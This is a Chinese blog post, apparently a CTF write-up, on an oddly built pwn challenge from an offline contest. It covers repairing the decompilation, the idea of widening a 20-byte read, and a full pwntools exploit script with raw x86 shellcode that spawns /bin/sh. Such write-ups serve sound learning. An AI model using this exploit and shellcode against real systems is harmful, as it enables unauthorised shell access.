一道奇形怪状的pwn

一道奇形怪状的pwn

这段时间堕落了,好久没有认真写博客了,今天就上周末参加的“安恒杯”线下赛其中的一个很奇怪的pwn做一个记录。

题目的主函数部分不可以通过IDA反编译,主要是因为0x080484CF这里call eax的问题,只要将eax修改为具体的值就可以了,可以通过gdb动态调试发现eax在此位置是不变的一个值。

修改之后主函数如下:

利用思路很简单,程序直接读取输入的内容,而且没有开启任何保护,想着只要把shellcode读取不就ok了,然而读取大小只有20,因此只能先将读取范围扩大,然后再传shellcode了。需要注意的是在之后的程序里面还有给一些字节赋值0的操作所以没有直接在后面放shellcode,而是往后了50个字节,栈的大小是30,大于30就可以。

from pwn import *

p=process('./pwn_1')
#p=remote('192.168.87.23',8888)
patch="\xc7\x44\x24\x08\x00\x01\x00\x00\xb8\x8e\x84\x04\x08\xff\xe0";
p.send(patch)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
a='\xb8\x00\x00\x00\x00'+'\xeb\x50'+'\xb8\x00\x00\x00\x00'*17+shellcode
p.send(a+'\n')
p.interactive()
文章目录
  1. 1. 一道奇形怪状的pwn
|